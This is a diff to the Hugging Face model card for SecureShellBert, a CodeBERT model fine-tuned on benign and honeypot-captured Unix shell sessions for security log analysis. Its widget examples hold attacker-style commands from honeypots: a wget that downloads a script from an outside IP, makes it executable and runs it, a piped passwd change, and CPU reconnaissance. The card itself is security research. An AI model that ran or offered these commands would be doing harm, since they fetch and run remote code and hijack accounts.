Update README.md

README.md

@@ -1,9 +1,28 @@
 ---
 widget:
-- text: cat /proc/cpuinfo | cat <mask> | wc -l ; 
+- text: cat /proc/cpuinfo | cat <mask> | wc -l ;
 - text: echo -e pcnv81k7W9cAOnonv81k7W9cAOno | passwd | <mask> ;
-- text: cat /proc/cpuinfo | grep name | head -n 1 | awk {<mask> $4,$5,$6,$7,$8,$9;} ;
+- text: >-
+    cat /proc/cpuinfo | grep name | head -n 1 | awk {<mask> $4,$5,$6,$7,$8,$9;}
+    ;
 - text: wget http://81.23.76.166/bin.sh ; chmod 777 bin.sh ; sh <mask>.sh ;
-    
+
 pipeline_tag: fill-mask
----
+
+metrics:
+- perplexity
+---
+
+
+**SecureShellBert** is a [CodeBert](https://huggingface.co/microsoft/codebert-base) model fine-tuned for **Masked Language Modelling**. 
+
+The model was domain-adapted following the [Huggingface guide](https://huggingface.co/learn/nlp-course/chapter7/3) using a corpus of **>20k Unix sessions**. Such sessions are both malign (see more at [HaaS](https://haas.nic.cz/)) and benign (see more at [NLP2Bash](https://github.com/TellinaTool/nl2bash)) sessions.
+
+The model was trained:
+- For 10 epochs
+- mlm probability of 0.15
+- batch size = 16
+- learning rate of 1e-5
+- chunk size = 256
+
+This model was used to finetuned [LogPrecis](https://huggingface.co/SmartDataPolito/logprecis/). See more at [GitHub](https://github.com/SmartData-Polito/logprecis), and please cite [our article](https://arxiv.org/abs/2307.08309).